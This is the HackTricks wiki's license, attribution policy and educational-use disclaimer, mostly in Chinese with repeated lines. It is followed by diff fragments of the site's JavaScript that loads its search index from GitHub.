我们始终**给予原作者全部署名**。如果你发现某页有抄袭内容而没有注明原始来源,请告知我们,我们会**删除该内容**、或**在文本前添加来源链接**、或**重写内容并加入链接**。
我们始终**给予原作者全部署名**。如果你发现某页有复制粘贴的内容且没有标注原始来源,请告知我们,我们会**删除它**、**在文本前添加链接**,或**重写并加入链接**。
## 许可
## LICENSE
版权所有 © 未经另行说明,保留所有权利。
版权所有 © 除非另有说明,保留所有权利。
#### 许可摘要:
#### License Summary:
- 署名:你可以:
- Share — 在任何媒体或格式中复制并再分发该材料。
- Adapt — 混合、转换并在该材料基础上创作衍生作品。
- Attribution: You are free to:
- Share — copy and redistribute the material in any medium or format.
- Adapt — remix, transform, and build upon the material.
#### 补充条款:
#### Additional Terms:
- 第三方内容:本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参考原始来源。
- 作者身份:由 HackTricks 原创的内容受本许可条款约束。建议在分享或改编时对原作者进行署名。
- Third-Party Content: 本书/博客的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权所有者的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。
- Authorship: HackTricks 原创内容受本许可条款约束。鼓励在共享或改编本作品时对作者进行署名。
#### 例外:
#### Exemptions:
- 商业使用:如需咨询有关本内容商业使用的问题,请与我联系。
- Commercial Use: 如需就本内容的商业用途进行咨询,请与我联系。
本许可不授予与内容相关的任何商标或品牌权利。本博客/书中出现的所有商标和品牌均为其各自所有者的财产。
本许可不授予与内容相关的任何商标或品牌权利。本博客/书中出现的所有商标和品牌均为其各自所有者的财产。
**通过访问或使用 HackTricks您同意遵守本许可条款。如果您不同意这些条款请不要访问本网站。**
## **免责声明**
## **Disclaimer**
> [!CAUTION]
> 本书《HackTricks》仅用于教育和信息目的。
>
> 本书中的内容按“原样”提供,作者和出版方对本书所载信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。因此,您对该等信息的任何依赖均由您自行承担风险。
>
> 在任何情况下,作者和出版方均不对任何损失或损害承担责任,包括但不限于间接或相应的损失或损害,或因使用本书而导致或与之相关的任何数据或利润损失。
>
> 此外,本书所述的技术和提示仅供教育和信息用途,不得用于任何非法或恶意活动。作者和出版方不赞同或支持任何非法或不道德的活动,且对本书中信息的任何使用均由用户自行承担风险并自行决定。
>
> 用户对基于本书所含信息采取的任何行动承担全部责任,在尝试实施本书中描述的任何技术或提示时,应始终寻求专业建议和帮助。
>
> 通过使用本书,用户同意解除作者和出版方对于因使用本书或其中任何信息可能导致的任何及所有损害、损失或伤害的责任与义务。
> 本书《HackTricks》仅用于教育和信息目的。书中内容按“原样”提供作者和出版者不对本书中信息、产品、服务或相关图示的完整性、准确性、可靠性、适用性或可用性作任何明示或暗示的陈述或保证。您对该等信息的任何依赖均由您自行承担风险。
>
> 作者和出版者在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或衍生损失或损害,或因使用本书而导致的数据或利润损失。
>
> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版者不支持或鼓励任何非法或不道德的活动,使用本书所含信息的后果由用户自行承担。
>
> 用户应对基于本书信息所采取的任何行为独自负责,并在尝试实施书中任何技术或提示时始终寻求专业建议和帮助。
>
> 使用本书即表示用户同意解除作者和出版者因使用本书或其中任何信息而可能导致的任何及所有责任。
{{#include ../banners/hacktricks-training.md}}

View File

@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();

View File

@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();